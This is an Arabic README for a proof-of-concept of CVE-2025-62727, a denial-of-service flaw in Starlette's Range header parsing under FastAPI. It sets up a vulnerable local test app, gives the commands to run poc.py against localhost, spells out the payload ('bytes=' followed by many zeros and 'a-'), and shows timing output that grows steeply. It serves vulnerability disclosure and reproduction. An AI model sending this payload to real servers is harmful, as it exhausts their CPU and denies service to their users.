
إثبات مفهوم لـ CVE-2025-62727 الذي يمكن أن يسبب رفض الخدمة في FastAPI (المبني على Starlette <= 0.48.0)
الهدف الضحية لثغرة CVE-2025-62727 هو تطبيق FastAPI بسيط يقوم بـ:
Hello World في المسار /./static باستخدام StaticFiles من Starlette.A مكرر N مرة حيث N في 1024, 2048, 50176 عند بدء التشغيل.(اختياري) إنشاء وتفعيل بيئة افتراضية (virtualenv).
تثبيت التبعيات:
pip install -r requirements.txt
تشغيل الخادم:
uvicorn main:app --reload
افتح:
http://127.0.0.1:8000/ لصفحة الفهرس.http://127.0.0.1:8000/static/1024.txt إلخ للملفات الثابتة.static/ عند بدء تشغيل التطبيق. لا يتم استبدال الملفات الموجودة.StaticFiles من Starlette كما هو مطلوب.يقوم ملف poc.py المرفق بتشغيل تحليل Range كثيف الاستهلاك للمعالجة في FileResponse من Starlette عبر مسار /static باستخدام رأس مخصص بالصيغة bytes=000...000a-.
قم بتشغيل الخادم، ثم في نافذة أخرى:
python3 poc.py --sizes 1000,2000,4000,7000
تجاوز عنوان الهدف (اختياري):
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
ملاحظات:
http://127.0.0.1:8000/static/50176.txt افتراضيًا (ملف يولده التطبيق). استخدم --url لتغييره.--sizes للأسفل إذا رأيت 400/431 (رأس كبير جدًا)، أو للأعلى إذا نجحت الرؤوس وتريد تأثيرًا أقوى.مثال على النتيجة:
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms